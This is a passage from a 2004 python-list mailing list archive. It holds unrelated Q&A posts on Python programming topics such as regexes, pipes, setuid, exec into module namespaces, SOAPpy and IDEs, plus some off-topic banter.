archives, using search words such as "web scraping", possibly paying
close attention to any threads with responses by Cameron Laird or
John J Lee.  ;-)

-Peter


From godoy at ieee.org  Thu Sep 16 22:44:10 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Thu, 16 Sep 2004 23:44:10 -0300
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com>
	<m3pt4nwa84.fsf@g2ctech.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com>
	<m37jqvvypt.fsf@g2ctech.com>
	<1gk7753.1c973iatj1rtuN%aleaxit@yahoo.com>
Message-ID: <m3ekl1398l.fsf@g2ctech.com>

aleaxit at yahoo.com (Alex Martelli) writes:

>> I remember iBooks starting at something like US$ 2100.00...  That's more
>> than half of the Dell :-)
>
> iBooks start at about HALF what you remember.

Not here.  :-)  As I said, I wish we had the prices you do in Europe and
in the US. 

> Why Apple chooses to price stuff cheap in richer countries, US foremost,
> and dearer the poorer the country, I dunno.

I think their logistics cost is lower in the US than in the rest of the
world.  Their market is bigger there too. 

> That's very important -- piracy is pretty widespread in Southern Europe,
> too, and from my POV what it does is first and foremost present unfair
> competition to free software.

I am tired of showing clients that they have to be very careful not to
buy a cat instead of a rabbit... ;-) 

> Hmmm, but it seems that the main issue you have with Qt is that it's
> free only if you DO use it on and for free software -- that's what the
> GPL is all about.  If a free-software culture it's OK; in a
> software=for=money culture it's OK; it seems to grate only on developers
> who want not to pay for the software they use but still charge for the
> software they sell.

I would pay for it if the price was fair to me.  It isn't, so I have to
avoid using it.  It's that simple... 

Fortunately, we're starting to do more free software than closed
software.

Things are getting better. :-)

> Personally, I'm extremely happy that the culture of commercial software
> is moving away from such complicated pricing schemes that were the norm
> some years ago.  The attempt to reflect "what is this sw actually worth

There are some market niche where it still happens...  And for software
licensed per CPU, how is it billed on HT enabled CPUs? ;-) The hardware
starts adding more complications to such commercial licensing world.

> to YOU" doesn't work, anyway.  I can have a 1000-$ program where, say,
> Qt's functionality is actually 80% of what I'm doing -- a program that's
> mostly-GUI... -- and I can have a 10000-$ one where the GUI matters very
> marginally, say the program is mostly about clever heuristic engines
> scavenging through DBs and networks and all I want is a little sysadm
> GUI console on the side for a customer's sysadm to keep an eye on
> things.

Then, this is your choice to use such a GUI or not.  It's the same thing
I do with the free / not free (free beer) stuff now.  If the software I
write is free (free speech and possibly free beer), I don't mind that
much in making it GPL or BSDL or anothr free license (I personally like
the GPL idea, so this is the one I use).

>> Of course, I'm looking at my side, they found that their business model
>> is different and I must either accept it or not use it.  For now, not
>> using it -- even liking more the appearance of the widgets -- has been
>> my choice.
>
> It's definitely your choice.  I do hope you get some opportunity to do
> GPL development and try it out, because I think it's really good.

I do it.  And I like it too.  But I have to pay the bills and even
though everything is transferred to the customer, some of them don't
like the idea of a free license to their software.

>> I guess I deviated a lot from the original intention of the post, and
>> I'm sorry for that.  It wasn't my intention.  I just wanted to see the
>> toolkit on the OSs it supports :-)
>
> If you're looking for a native appearance on Windows, as I understand
> things, you won't get it with PyGUI until somebody makes a back-end...

I am not looking for it.  I use wxPython and it does give me that.  And
the native look on Mac too.  I was just saying that a GUI toolkit with
no pictures of how it looks like on its website is bad marketing.  I
hope it all doesn't start again :-)

-- 
Godoy.     <godoy at ieee.org>


From belred1 at yahoo.com  Mon Sep 27 21:47:31 2004
From: belred1 at yahoo.com (Bryan)
Date: Tue, 28 Sep 2004 01:47:31 GMT
Subject: time
Message-ID: <So36d.168361$3l3.52363@attbi_s03>

can someone explain to me why i get different values for the tm_yday and 
tm_isdst values?

 >>> import rfc822
 >>> rfc822.parsedate('Mar  1 01:03:59 2004')
(2004, 3, 1, 1, 3, 59, 0, 0, 0)

 >>> import time
 >>> time.strptime('Mar  1 01:03:59 2004', '%b %d %H:%M:%S %Y')
(2004, 3, 1, 1, 3, 59, 0, 61, -1)


thanks,

bryan


From remy.blank_asps at pobox.com  Tue Sep 21 12:53:33 2004
From: remy.blank_asps at pobox.com (Remy Blank)
Date: Tue, 21 Sep 2004 18:53:33 +0200
Subject: OT: regex to find email
In-Reply-To: <4a0cafe2040921084828f898d8@mail.gmail.com>
References: <4a0cafe204092108038020f72@mail.gmail.com>	<cipg60$ap1$1@sea.gmane.org>
	<4a0cafe2040921084828f898d8@mail.gmail.com>
Message-ID: <cipmad$upd$1@sea.gmane.org>

Josh Close wrote:
> Ok, I see how this works.... but now how would I add {3,64} for the id
> and {3,255} for the domain? I forgot to throw that part in earlier. I
> believe a valid id is 3-64 chars and domain is 3-255 chars.
> 
> So basically like this
> 
> [\w[\w\._-]*]{3,64}@[[\w\._-]{3,255}\.[\w\._-]+]
> 
> ......I know that won't work, but I'd like to verify that the id is
> 3-64 chars long, and doesn't start with -._ and the domain is 3-255
> chars long and doesn't start with -._ but must have a dot and tld's
> like .com.au need to be accounted for also.

Let's see. Testing for a 3-64 char id should be easy:

[a-zA-Z0-9][\w\.-]{2,63}@ ...

You can't use \w in the first bracket, because you want to exclude
the underscore.

About the domain, I can't remember if the total length is limited,
or if each individual component is. The latter case is easy (say,
for components with lenghts 3-64):

... @([\w-]{3,64}\.)+[\w-]{3,64}

But I suspect this is not yet what you want. If you want to make
sure the total length of the domain is 3-255 chars, you'll have
to extract it after a match and check its length. Extraction could
be done with a named group:

... @(?P<domain>([\w-]{3,64}\.)+[\w-]{3,64})

Although I'm not sure how nested groups are handled. Combining both
parts and defining a group for the id as well gives:

(?P<id>[a-zA-Z0-9][\w\.-]{2,63})@(?P<domain>([\w-]{3,64}\.)+[\w-]{3,64})

(All on one line, obviously)

HTH,
-- Remy


Remove underscore and suffix in reply address for a timely response.



From rschroev_nospam_ml at fastmail.fm  Wed Sep  1 03:33:55 2004
From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven)
Date: Wed, 01 Sep 2004 07:33:55 GMT
Subject: age of Python programmers
In-Reply-To: <-sednbGJb4Wes6jcRVn-sA@comcast.com>
References: <mailman.1859.1092833285.5135.python-list@python.org>
	<889cbba0.0408181206.1812881c@posting.google.com>
	<mailman.1900.1092860258.5135.python-list@python.org>
	<Xns954A5141FF84JanC@213.118.38.197>
	<d8778a53.0408311322.9ad0233@posting.google.com>
	<-sednbGJb4Wes6jcRVn-sA@comcast.com>
Message-ID: <DXeZc.232598$W5.11926661@phobos.telenet-ops.be>

William Stein wrote:
> nnes wrote:
> 
> 
>>JanC <usenet_spam at janc.invalid> wrote in message
>>news:<Xns954A5141FF84JanC at 213.118.38.197>...
>>
>>>Gerardo Herzig -Departamento de Proyectos Especiales e Internet- Facultad
>>>de Medicina schreef:
>>>
>>>>30 years old. First program at 11 (Basic) on ZX Spectrum.
>>>
>>>/me too (now 30 & started with ZX Spectrum Basic at 11)
>>
>>count another one, me too now 30 years, started with ZX Spectrum Basic at
>>11
> 
> 
> Me as well; I'm 30 years old and I started programming BASIC on the
> TI-99/4A.

Ah, the TI-99/4A, my first computer as well. First standard BASIC, then 
Extended BASIC (you needed some kind of cartridge for that, like the 
ones used for games). A few years later I made the step to the PC, an XT 
at the time. A clone, but an advanced model: it could not only run at 
4.77MHz, but using the turbo button also at 10MHz! I programmed in 
GW-BASIC, since it was all I had (and knew). Later I got a Turbo Pascal 
compiler from somewhere, so I learned Pascal.

Some Fortran at university, even later C, a (very tiny) bit of Perl; 
C++, PHP, and finally Python.


-- 
"Codito ergo sum"
Roel Schroeven


From cbfalconer at yahoo.com  Thu Sep  9 15:41:01 2004
From: cbfalconer at yahoo.com (CBFalconer)
Date: Thu, 09 Sep 2004 19:41:01 GMT
Subject: Xah Lee's Unixism
References: <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<chpkm2$3h2$1@grandcanyon.binc.net>
Message-ID: <41409A6B.E618952C@yahoo.com>

Chuck Dillon wrote:
> 
... snip ...
> 
> It's easy to say we *don't* need but not so easy to demonstrate. 
> You don't even offer a hand wave attempt at articulating an
> alternative. In the political world everything is subject to
> debate.  Taking the war to the middle east, increasing policing
> powers, increasing intelligence capabilities...  But in the real
> world there is a huge threat and action must be taken.

Must it?  I am not claiming that it must not, but that the matter
deserves more thought than a panic reaction.  The very first thing
to settle should be the objectives.  Then the means and costs of
achieving such can be considered.

-- 
"Churchill and Bush can both be considered wartime leaders, just
 as Secretariat and Mr Ed were both horses." -     James Rhodes.
"We have always known that heedless self-interest was bad
 morals.  We now know that it is bad economics" -         FDR




From q852913745 at aol.com  Sun Sep 12 19:55:29 2004
From: q852913745 at aol.com (Q852913745)
Date: 12 Sep 2004 23:55:29 GMT
Subject: Newbie: tuple list confusion.
Message-ID: <20040912195529.03437.00000338@mb-m27.aol.com>

I am trying to learn python from 'Python programming for the absolute beginner'
I'm sure I understand the difference between tuples and lists, but while
experimenting with what I have learned so far, I was suprised that this code
worked.

# Create list a
a=["start",878,"item 1",564354,"item 2"]
print "length of list a =",len(a)
print "a =",a ; print

# Create tuple b
b=(234,"item 3",456,"end")
print "length of tuple b =",len(b)
print "b =",b ; print

print "Add b onto a"  # Shouldn't work!
#---------------------------------------------
# a=a+b    # causes an error as it should,
a+=b      # but why is this ok?
#---------------------------------------------
print "a =",a
print "length of a =",len(a)
print;c=raw_input("Press enter to exit")

My book states that a=a+b and a+=b are the same, and that different 'types' of
sequence cannot be joined together.


From alex_stante at yahoo.de  Mon Sep 13 17:20:59 2004
From: alex_stante at yahoo.de (Alexander Stante)
Date: 13 Sep 2004 14:20:59 -0700
Subject: How to change the superclass of an instance?
Message-ID: <ci52vr$ql2@odah37.prod.google.com>

Hello,

I want to do the following. I have a function called display.set_mode()
which returns an instance of Surface. I want to add some bound
functions to this object therefore I thought to do something like:

>>> class screen(Surface):
...     def __new__(cls):
...         a = display.set_mode()
...         a.__class__ = screen
...         return a
...     def new_func(self):
...         pass

My idea was that my new created object has an attribute resolution
order of instance -> screen -> Surface and therefore I can use all
Surface methods on the instance and the new_func(). But I got the error
message: "TypeError: __class__ assignment: only for heap types"

I also tried to add a bound function (to the returned Surface of
display.set_mode()) with setattr and the appropriate arguments but I
got the error message: pygame.Surface object has no attribute 'update'
so I think Surface is somehow implemented immutable by intercepting
attribute access via __getattribute__

My question, how can I realize that I described above, because my
attempt seems to be wrong.

An other idea I had would be wrapping a class around the Surface
returned by display.set_mode() and then intercepting attribute
references with __getattr__ on that class and if not found in class or
instance, delegate them to the Surface. I think this way it would look
liked the wrapping class is a subclass of Surface. But Surface don't
have a __dict__ and I don't know an other way to call a function by his
name.

Bye
Alex



From chrisks at NOSPAM.udel.edu  Mon Sep  6 06:37:20 2004
From: chrisks at NOSPAM.udel.edu (Chris S.)
Date: Mon, 06 Sep 2004 10:37:20 GMT
Subject: Pipe IO Problem?
Message-ID: <A5X_c.5607$wF4.1948@trndny09>

A wrote a small class to handle IO through pipes, but the connection 
only seems to work in one direction. The following code defines 
connection.py, engine.py, and controller.py. Once connected, the engine 
is only able to send and the controller recieve. Also, this only works 
when using popen2.popen3. Using os.popen3 doesn't work at all and seems 
to behave completely differently.
What could be causing these problems? Any help is greatly appreciated.

##-------------------------------------------
# connection.py
import sys
import threading
import socket
import time

class ConnectionError(Exception):
     '''Encapsulates connection errors.'''
     pass

class Connection:
     '''Base class for an interprocess connection.

     This class is meant to be used in two primary ways:
         First, as a caller, the initiator of the connection.
         Second, as a callee, the recepiant of the connection.

     However, once the connection has been made, general use should
     behave symmetrically.'''

     def __init__(self, in_handler=None):
         self.connected = False
         self._recv_handler = in_handler
         self._recv_buffer = [] # stores data if no in_handler given
         self._recv_lock = threading.Lock()
         self._send_lock = threading.Lock()

     def _send_raw(self, string):
         '''Outgoing handler.'''
         raise Exception, 'this method must be overridden'

     def _recv_raw(self):
         '''Incoming handler.'''
         raise Exception, 'this method must be overridden'

     def _launch_recv_handler(self):
         '''Launches general reception handler.'''
         assert not self.connected, 'connection already open'
         print 'launching recv handler'
         self.connected = True
         t = threading.Thread(target=self._recv_raw)
         t.setDaemon(True)
         t.start()

     def _launch_data_handler(self, data):
         '''Launches user defined reception handler.'''

         if self._recv_handler: # launch custom handler (ie in_handler) 
if present
             t = threading.Thread(target=self._recv_handler, args=(data,))
             t.setDaemon(True)
             t.start()
         else: # otherwise append to buffer
             self._recv_lock.acquire()
             self._recv_buffer.append(data)
             self._recv_lock.release()

     def open(self):
         raise Exception, 'this method must be overridden'

     def close(self, message=None):
         raise Exception, 'this method must be overridden'

     def send(self, data):
         assert self.connected, 'not connected'
         self._send_raw(data)

     def recv(self):
         '''Blocks until it has data to return.
         Only use this if you haven't specified a reception handler.'''
         assert self.connected, 'not connected'

         # wait for data
         while not len(self._recv_buffer):
             time.sleep(0.1)

         # get data
         self._recv_lock.acquire()
         data = self._recv_buffer.pop(0)
         self._recv_lock.release()

         return data

     def pending(self):
         '''True if pending data in the buffer. False otherwise.'''
         return bool(len(self._recv_buffer))

     def name(self):
         pass

class Pipe(Connection):
     '''Base class for a pipe connection.'''

     def __init__(self, *args, **kargs):
         Connection.__init__(self, *args, **kargs)

     def _send_raw(self, string):
         assert self.connected, 'not connected'

         try:
             self._send_lock.acquire()
             self._outp.write(string+'\n')
             self._outp.flush()
             self._send_lock.release()
         except Exception, e:
             self._send_lock.release()
             self.close(e)
             raise Exception, e

     def _recv_raw(self):

         while self.connected:
             # get data
             try:
                 data = self._inp.readline()
             except Exception, e:
                 self.close(e)
                 break
             if not len(data):
                 time.sleep(0.1)
                 continue

             # launch handler
             self._launch_data_handler(data)

     def open(self, target=None):
         assert not self.connected, 'connection already open'

         if target:
             #import os # different functionality?
             #(self._inp, self._outp, self._errp) = os.popen3(target)
             import popen2
             (self._inp, self._outp, self._errp) = popen2.popen3(target)
         else:
             from sys import stdin, stdout
             self._inp = stdin
             self._outp = stdout

         self._launch_recv_handler()

     def close(self, message=None):
         assert self.connected, 'connection already closed'

         self.connected = False
         self._inp.close()
         self._inp = None
         self._outp.close()
         self._outp = None
         self._errp.close()
         self._errp = None

         if message:
             print message


##-------------------------------------------
# engine.py
import time

from connection import *

outfile = open('enginetest.data', 'w')

def print_received(data):
     print >>outfile, data

conn = Pipe(in_handler=print_received)
conn.open()

for i in range(5):
     time.sleep(1)
     conn.send('engine '+str(i))

outfile.close()


##-------------------------------------------
# controller.py
import time

from connection import *

def print_received(data):
     print 'controller received:',data

conn = Pipe(in_handler=print_received)
conn.open('pipetest_engine.py')

for i in range(5):
     print 'controller',i
     time.sleep(1)
     conn.send(str(i))


From albalmer at att.net  Tue Sep 14 11:14:24 2004
From: albalmer at att.net (Alan Balmer)
Date: Tue, 14 Sep 2004 08:14:24 -0700
Subject: Xah Lee's Unixism
References: <ci4gs0$23p$1@grandcanyon.binc.net>
	<10kcn40mkm43c8f@corp.supernews.com>
Message-ID: <ji2ek05rgnqspm0gncsvjhvj13htnrsdfv@4ax.com>

On Tue, 14 Sep 2004 02:50:40 -0000, SM Ryan
<wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org> wrote:

>Taliban is regaining control in Afghanistan after the USA abandonned the
>war on terrorism to seek oil profits. 

Well, I'll be damned! There actually *was* someone who believed the
recent Al Qaeda propaganda video!

-- 
Al Balmer
Balmer Consulting
removebalmerconsultingthis at att.net


From michele.simionato at gmail.com  Fri Sep 17 12:16:44 2004
From: michele.simionato at gmail.com (Michele Simionato)
Date: 17 Sep 2004 09:16:44 -0700
Subject: permission problem with os.setuid
References: <4edc17eb.0409170046.1fe1d2d9@posting.google.com>
	<cieb24$d6s$1@online.de>
Message-ID: <4edc17eb.0409170816.51ca0adc@posting.google.com>

Benjamin Niemann <b.niemann at betternet.de> wrote in message news:<cieb24$d6s$1 at online.de>...
> Once a process is running as nobody (or any other non-root user account), you 
> cannot simple change the uid - that's a (very important) feature not a bug! To 
> change the uid you have to be root first, 'sudo' may help you - though I don't 
> know about the details how this works...
> Possible pseudocode (and by pseudo I mean pseudo ;)
> 
> if os.getuid() == 0: # I'm root
>    os.setuid(501)
> elif os.getuid() != 501:
>    os.exec*("sudo", "myscript.py") # script is restarted, now as root
> 
> assert os.getuid() == 501

Uhm ... I wanted somewhat to avoid "sudo". Anyway, at the end I have decided
to change the design so that the script is always run as nobody.
This solves as well other issues and I am happy with it.


                 Michele Simionato


From programmer.py at gmail.com  Mon Sep 13 16:22:46 2004
From: programmer.py at gmail.com (Jaime Wyant)
Date: Mon, 13 Sep 2004 15:22:46 -0500
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <864d3709040913131077f1732d@mail.gmail.com>
References: <864d3709040913131077f1732d@mail.gmail.com>
Message-ID: <d52c72d2040913132260f78197@mail.gmail.com>

On Mon, 13 Sep 2004 17:10:16 -0300, Carlos Ribeiro <carribeiro at gmail.com> wrote:
[ snip! ]
> 
> The funny thing is that I don't need anything particularly fancy. A
> good Python editor, syntax coloring, a few helpers (moving blocks &
> stuff). Debugging is good, but it's not what I really miss. Even form
> designers -- I could live without them. What I really miss are stuff
> that I regard as basic: a tabbed editor window for multiple files, and
> a good project manager interface -- a place where I can find all the
> files belonging to my projects without having to move around the
> directory tree whenever I have to do anything. Could I do it using
> only command-line tools? Probably, but it's not comfortable,
> convenient or productive. A good IDE would bring me these three things
> that I'm longing for.

I use (FWIW) Stani's Python Editor (http://spe.pycs.net/).

While it is far from perfect, it is very functional and offers:

o Syntax highlighting
o wxGlade support built in (well, launches wxGlade which comes bundled)
o Module auto-open support
   (Put your cursor "into" an imported module name, hit ctrl-enter and
SPE will load it into the editor.  Probably not the right technical
name)
o Tabbed edit windows.  Each edit window has its own tab, for easy
switching back / forth.
o Todo list.  But a comment like "# TODO: do something" and SPE will
add it to the TODO list.
o PyChecker support built in.
o Selection comment / uncomment.  Select text and uncomment / comment it.
o Auto completion.  It's strange and I don't quite understand it, but
the editor can "guess" at what methods/properties are available for a
class by inspecting the class' code.  Also works really well for
built-ins and libraries.
o Module explorer.  Shows all classes / functions / imports defined in
the module being edited.

What SPE doesn't have:
o Built-in debugging support
o Project based configuration.  That is files are saved independently
of one another, they aren't grouped as projects.

I'm sure i've forgot to mentions some of the things that SPE does /
doesn't have.

HTH,
jw


From bokr at oz.net  Tue Sep 14 16:57:53 2004
From: bokr at oz.net (Bengt Richter)
Date: 14 Sep 2004 20:57:53 GMT
Subject: funcs vs vars in global namespace
References: <J8B1d.3$26.1@llslave.llan.ll.mit.edu>
	<1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com>
	<z_B1d.5$26.4@llslave.llan.ll.mit.edu>
	<1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com>
	<8KD1d.10$26.4@llslave.llan.ll.mit.edu>
	<1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com>
	<H2G1d.11$26.2@llslave.llan.ll.mit.edu>
	<1gk4dcr.pql0gw1xlvicaN%aleaxit@yahoo.com>
	<4IG1d.13$26.5@llslave.llan.ll.mit.edu>
Message-ID: <ci7m0h$jl1$0$216.39.172.122@theriver.com>

On Tue, 14 Sep 2004 14:25:04 -0400, David Rysdam <drysdam at ll.mit.edu> wrote:

>Alex Martelli wrote:
>> David Rysdam <drysdam at ll.mit.edu> wrote:
>>    ...
>> 
>>>OK, dumb question #1:
>>>
>>>Why do this:
>>>
>>>sub_module = __import__(which_module_this_time)
>>>vars(sub_module).update(which_dict_this_time)
>>>
>>>When I could just do this:
>>>
>>>__import__(which_module_this_time, which_dict_this_time)
>>>
>>>?
>> 
>> 
>> You can do whatever you wish, but what makes you think these constructs
>> have similar effects?  Quoting from Python's online docs on __import__,
>> 
>> """
>>  the standard implementation  does not use its locals argument at all,
>> and uses its  globals only to determine the package context of the
>> import statement
>> """
>> 
>> In short, the standard implementation of __import__ does NOT alter in
>> any way the dict of the module it imports.
>> 
>> 
>> Alex
>
>Ah, I see.
>
>Your "which_dict_this_time" dictionary, how are you imagining that 
>working?  I was just mapping function name strings to functions 
>({'logError':logError}), but (long story short) that isn't working how I 
>want.  But shouldn't I be able to define the function right there in the 
>dictionary itself?
>
>Perhaps this is getting too non-obvious, magical and unmaintainable, though.

Maybe this will give you some ideas:

Here empty.py is just a single blank text line with a (windows in this case, which
for the heck of it I'll show in binary) EOL:
 >>> open('empty.py','rb').read()
 '\r\n'

 >>> import empty
When you import, you automatically get some stuff in the module directory
 >>> dir(empty)
 ['__builtins__', '__doc__', '__file__', '__name__']
 >>> vars(empty).keys()
 ['__builtins__', '__name__', '__file__', '__doc__']

If you have source defining a function, you can exec the definition in a directory,
which will become what the function sees as its global directory. So,

 >>> exec """
 ... def foo(a):
 ...     return a+b
 ... """ in empty.__dict__

It shows up:

 >>> dir(empty)
 ['__builtins__', '__doc__', '__file__', '__name__', 'foo']

since b is retrieved from the global dict, we better put something there.
That happens to be the dict that stores module attributes, so we can:

 >>> empty.b = 100
 >>> empty.foo(23)
 123
 >>> empty.b = 200
 >>> empty.foo(23)
 223
... as expected.

We can verify that foo's global dict is empty's dict:
 >>> empty.foo.func_globals is empty.__dict__
 True

If you have definitions of functions in source files, you can execfile them
in a similar manner:

First I'll creat a source right here, though I could have done it in an editor
 >>> open('baz.py','w').write("""
 ... def baz(x):
 ...     return 2*b+x
 ... """)

Verify
 >>> print '----\n%s----'%open('baz.py').read()
 ----

 def baz(x):
     return 2*b+x
 ----

Use execfile do define it in empty:
 >>> execfile('baz.py', empty.__dict__)

It shows up:
 >>> dir(empty)
 ['__builtins__', '__doc__', '__file__', '__name__', 'b', 'baz', 'foo']

Check b:
 >>> empty.b
 200
 >>> empty.baz(44)
 444

HTH. Note that exec-ing or execfile-ing untrusted source is not safe.

BTW, if in the same interpreter execution session you import empty from another module,
the updated contents should be visible. E.g.,

 >>> open('mimpbaz.py','w').write("""import empty
 ... """)
 >>> print '----\n%s----'%open('mimpbaz.py').read()
 ----
 import empty
 ----
 >>> import mimpbaz
 >>> dir(mimpbaz)
 ['__builtins__', '__doc__', '__file__', '__name__', 'empty']
 >>> mimpbaz.empty is empty
 True
 >>> mimpbaz.empty.b
 200
 >>> mimpbaz.empty.baz(3056)
 3456

recalling that baz did
 >>> 2*200+3056
 3456

Note that the source of empty.py has not changed
 >>> print '----\n%s----'%open('empty.py').read()
 ----

 ----
 >>> open('empty.py').read()
 '\n'

Of course, it doesn't have to start out empty. The point is
exec and execfile don't save a compiled .pyc for you to make
it faster next time, whereas import does (unless it's prevented
by lack of write privilege or such, I think).

Regards,
Bengt Richter


From greg at cosc.canterbury.ac.nz  Sun Sep  5 22:00:58 2004
From: greg at cosc.canterbury.ac.nz (greg)
Date: Mon, 06 Sep 2004 14:00:58 +1200
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
	<mailman.2775.1094145196.5135.python-list@python.org>
	<donn-8ED685.11274102092004@gnus01.u.washington.edu>
	<1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com>
	<1094359182.57429@yasure>
	<roy-FE1D07.08200705092004@reader1.panix.com>
	<chf1e4$u84$03$1@news.t-online.com>
	<roy-D04C66.10354305092004@reader1.panix.com>
	<1gjnwv2.jj0hvbov5tc1N%aleaxit@yahoo.com>
Message-ID: <413BC4DA.9050401@cosc.canterbury.ac.nz>

Alex Martelli wrote:
> Roy Smith <roy at panix.com> wrote:
>
> > Tuple (and string) equality is based on content too.  So what?  I can
> > give my data class an __eq__ method, and then my class instance equality
> > would also based on content.
> 
> And your class's instances wouldn't then be hashable any more unless
> they defined a __hash__ method -- have you tried?

And even if you did give it a __hash__ method, you wouldn't
be able to get it to work properly as a dict key. It's an
inescapable fact of the way dicts work.

> > So, to restate my original question, why should my mutable, 
> > content-based-eqality class instance be a valid dictionary key,
 > > when a list is not?

It wouldn't be a valid dictionary key. You might be able to fool
Python into accepting it, but it would malfunction.

Greg



From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Thu Sep 30 12:31:31 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.)
Date: Thu, 30 Sep 2004 18:31:31 +0200
Subject: Test html
References: <415bf448$0$21152$8fcfb975@news.wanadoo.fr>
Message-ID: <415cee92$0$948$8fcfb975@news.wanadoo.fr>

Bonsoir !

J'ai l'impression que mon message pr?c?dent n'est pas pass? sur tous les
serveurs.
Avec usenet, on n'est jamais s?r...

Michel Claveau





From ialbert at mailblocks.com  Wed Sep 29 12:52:26 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Wed, 29 Sep 2004 12:52:26 -0400
Subject: Avoiding shell metacharacters in os.popen
In-Reply-To: <slrncllk2p.m4f.nick@irishsea.home.craig-wood.com>
References: <slrncllk2p.m4f.nick@irishsea.home.craig-wood.com>
Message-ID: <AIOdnUpr9ZfUdcfcRVn-ug@giganews.com>

Nick Craig-Wood wrote:

> Avoiding shell metacharacter attacks is a must for secure programs.

Not passing down commands into a shell is a must for secure programs.

What you should do is recognize a command, identify it as a
valid and allowed one, then call it yourself. If you think that
escaping metacharacters gives you any kind of security you are
deceiving yourself.

Istvan.


From b.niemann at betternet.de  Tue Sep 14 04:39:05 2004
From: b.niemann at betternet.de (Benjamin Niemann)
Date: Tue, 14 Sep 2004 10:39:05 +0200
Subject: Problems getting Python client (SOAPpy) to consume .NET web
	services
In-Reply-To: <cba30467.0409131445.734b131a@posting.google.com>
References: <cba30467.0409131445.734b131a@posting.google.com>
Message-ID: <ci6ana$445$1@online.de>

Michael Hatmaker wrote:

> I have begun experimenting with web services, and I created some
> simple web services in C# and was able to install them with IIS and
> create an equally simple C# client to consume them.
> 
> My next experiment was to use Python to consume these same web
> services, and even though I am able to get Python to consume web
> services from a variety of sources (Apache SOAP, Glue, AXIS), I cannot
> get web services created with MS.NET to work. Actually, methods with
> no arguments work fine, but any methods that take arguments do not
> work. There is no error, it is simply that an incorrect result is
> returned (i.e. my simple Add(int a, int b) web service always returns
> zero).
> 
> I tried playing around with the
> [SoapDocumentService(Use=SoapBindingUse.Literal,
> ParameterStyle=SoapParameterStyle.Wrapped)] arguments in .NET, but I
> have had no success as of yet. I don't think it's just me since I
> cannot consume any of the web services on webmethods.net that are
> created using MS.NET.
> 
> My Python code looks something like this:
> 
> from SOAPpy import WSDL
> server = WSDL.Proxy('http://localhost/MyWebServices/FirstService.asmx?WSDL')
> server.SayHello()    # works correctly - just prints a hello message
> server.Add(3, 4)     # does not work - returns zero
> 
> Any tip that would point me in the right direction would be greatly
> appreciated!
I tried this some time before, too. Actually cannot remember, if I finally 
succeeded. I think using keyword arguments in Python got me one step further, e.g.:
server.Add(a=3, b=4)


From inderjitrai at yahoo.com  Mon Sep 13 21:54:56 2004
From: inderjitrai at yahoo.com (someguy)
Date: Tue, 14 Sep 2004 01:54:56 GMT
Subject: apache error
Message-ID: <Xns9563DF221A927inderjitraiyahoocom@66.185.95.104>

Hi,

    	I realise that this might not be the appropriate newgroup for this 
question but there isn't a newsgroup on apache.
I'm using python to do some cgi programming and i'm using DOM to sort a 
table when the user clicks on a different heading.  Here is a sniplet of 
code:
    	<th class = 'head'><a href="" onclick="sortTable(0)">Rank</a></th>


The sortTable() is a javascript method in an external file.
For some reason i got a the following error when i click on the table 
header:

    	Forbidden
    	You don't have permission to access /cgi-bin/ on this server.

    	Apache/2.0.50 (Win32) mod_python/3.1.3 Python/2.3.3 PHP/4.3.8 Server     
	at 24.156.164.6 Port 80

I'm running Apache on Windows Xp.  Any suggestions as to what premission 
needs to be changed?

TIA


From maney at pobox.com  Mon Sep  6 12:12:48 2004
From: maney at pobox.com (Martin Maney)
Date: Mon, 6 Sep 2004 16:12:48 +0000 (UTC)
Subject: Inline Conditionals?
References: <mailman.2307.1093385983.5135.python-list@python.org>
	<jt6dnb18R-cz6LDcRVn-jQ@powergate.ca>
	<1gj4rpq.1oyt89b14xvbdqN%aleaxit@yahoo.com>
	<slrncirqvf.jf.apardon@trout.vub.ac.be>
	<1gj5bit.rt2tmzcznspxN%aleaxit@yahoo.com>
	<7xbrgxobts.fsf@ruckus.brouhaha.com>
	<1gj5eu6.11pmwsddky84nN%aleaxit@yahoo.com>
	<chfg9e$121$4@wheel2.two14.net>
	<1gjopop.1qle37n1utd7prN%aleaxit@yahoo.com>
Message-ID: <chi2a0$a6g$1@wheel2.two14.net>

Alex Martelli <aleaxit at yahoo.com> wrote:
> It's not the typo that "becomes proof" (or, rather, indication) of the
> higher readability of sparse expression: it's the fact that so many
> readers noticed it and let me know, privately or publically.  Why do you

Okay, let me unpack the thought more fully (as I should have done since
I was jumping on a weeks-old thread).

There's a recurring argument, seen most often when dissing a usage one
